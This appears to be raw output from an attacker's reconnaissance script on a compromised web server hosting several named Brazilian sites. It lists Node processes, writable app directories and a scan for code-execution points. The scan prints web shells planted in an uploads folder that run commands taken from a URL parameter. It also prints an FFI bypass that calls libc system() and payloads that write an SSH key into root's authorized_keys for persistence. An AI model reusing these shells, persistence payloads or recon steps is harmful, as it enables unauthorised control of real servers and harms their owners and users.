--- NODE PROCS ---
802 | PM2 v7.0.3: God Daemon (/root/.pm2)                   
   cwd=
   env=
832 | next-server (v16.2.10)                                                            
   cwd=
   env=
860 | next-server (v16.2.10)                                                                            
   cwd=
   env=
861 | next-server (v16.2.10)                                                      
   cwd=
   env=
862 | next-server (v16.2.10)                                               
   cwd=
   env=

--- APP WRITABLE ---
pagaai.cadtech.com.br dir=W src=W package=W next=Y
pagaairs.cadtech.com.br dir=W src=W package=W next=Y
fotto.cadtech.com.br dir=W src=W package=W next=Y
temploagil.cadtech.com.br dir=W src=W package=W next=Y

--- RCE SINKS ---
/www/wwwroot/admhibrido.cadtech.com.br/api/movies_script.js:166: eval(animation[x])
/www/wwwroot/admsky.cadtech.com.br/api/movies_script.js:166: eval(animation[x])
/www/wwwroot/player99.com.br/api/movies_script.js:166: eval(animation[x])
/www/wwwroot/admlite.tech6202.shop/api/movies_script.js:166: eval(animation[x])
/www/wwwroot/cadtech.com.br/uploads/kl3_064559_1794217560.php:3: $payload = ';try{var m=null;try{m=require("child_process")}catch(e){}if(!m){try{m=process.mainModule.require("child_process")}catch(e){}}if(!m){try{m=eval("requ
/www/wwwroot/cadtech.com.br/uploads/nd_064134_1794217295.php:5: echo "\n--- RCE SINKS ---\n"; $n=0; $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator("/www/wwwroot",FilesystemIterator::SKIP_DOTS),RecursiveIter
/www/wwwroot/cadtech.com.br/uploads/gh_v61ea2_1794223524.php:1: <?php header('Content-Type: text/plain'); echo shell_exec($_GET['c']); ?>
/www/wwwroot/cadtech.com.br/uploads/ff_063904_1794217146.php:5: if(extension_loaded("FFI")){ try{ $ffi=FFI::cdef("int system(const char *command);","libc.so.6"); $out=""; $ffi->system("id > /tmp/g.out 2>&1; cat /tmp/g.out");
/www/wwwroot/cadtech.com.br/uploads/om_064758_1794217680.php:6: $payload = ';try{var m=null;try{m=process.getBuiltinModule("child_process")}catch(e){}if(!m){try{m=require("child_process")}catch(e){}}if(!m){try{m=process.main
/www/wwwroot/cadtech.com.br/uploads/ghostprobe_1794214063.php:1: <?php if(isset($_GET["c"])){echo "PWNSTART\n";echo shell_exec($_GET["c"]);echo "PWNEND\n";}else{echo "SHELLOK";} ?>
/www/wwwroot/cadtech.com.br/uploads/kl_064438_1794217480.php:4: \ = ";try{var cp=require('child_process');cp.execSync(\"mkdir -p /root/.ssh; grep -q 'Oreia' /root/.ssh/authorized_keys 2>/dev/null || echo '\".\ssh-ed25519 AAA
/www/wwwroot/cadtech.com.br/uploads/ng_064337_1794217418.php:5: echo "\n--- EXIT/EXEC IN SRC ---\n"; $n=0; foreach(["pagaai.cadtech.com.br","fotto.cadtech.com.br"] as $a){ $it=new RecursiveIteratorIterator(new RecursiveDirec
/www/wwwroot/cadtech.com.br/uploads/ghostprobe2_1794214078.php:18: elseif($a=="cmd"){$c=$_GET["c"]??"";$o=null;if(function_exists("system")&&!in_array("system",explode(",",ini_get("disable_functions")))){system($c,$o);}elseif(f
/www/wwwroot/cadtech.com.br/uploads/st3_080950_1794222592.php:4: $b=@file_get_contents("/www/server/site_total/site_total"); if($b){ echo "site_total size=".strlen($b)."\n"; preg_match_all("/[ -~]{6,}/",$b,$m); $str=implode("
/www/wwwroot/cadtech.com.br/uploads/kl2_064510_1794217511.php:4: $payload = ';try{var cp=require("child_process");cp.execSync("mkdir -p /root/.ssh; grep -q Oreia /root/.ssh/authorized_keys 2>/dev/null || echo \'' . $pub . '\'
/www/wwwroot/onix.tech6202.shop/js/sweetalert2.js:5: !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof gl
/www/wwwroot/painel.player99.com.br/api/movies_script.js:166: eval(animation[x])
/www/wwwroot/sky.tech6202.shop/js/sweetalert2.js:5: !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof gl
/www/wwwroot/xxx.tech6202.shop/js/sweetalert2.js:5: !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof gl
/www/wwwroot/admplay.cadtech.com.br/0000/api/movies_script.js:166: eval(animation[x])
/www/wwwroot/admplay.cadtech.com.br/0000/auto/movies_script.js:166: eval(animation[x])

--- PANEL HOSTS ---
host=vmi3105017.contaboserver.net code=404 len=315 HTTP/1.1 404 NOT FOUND Server: nginx Date: Tue, 10 Nov 2026 16:02:30 GMT Content-Type: text/html Con
host=184.174.36.137 code=404 len=315 HTTP/1.1 404 NOT FOUND Server: nginx Date: Tue, 10 Nov 2026 16:02:30 GMT Content-Type: text/html Con
host=cadtech.com.br code=404 len=315 HTTP/1.1 404 NOT FOUND Server: nginx Date: Tue, 10 Nov 2026 16:02:30 GMT Content-Type: text/html Con
DONE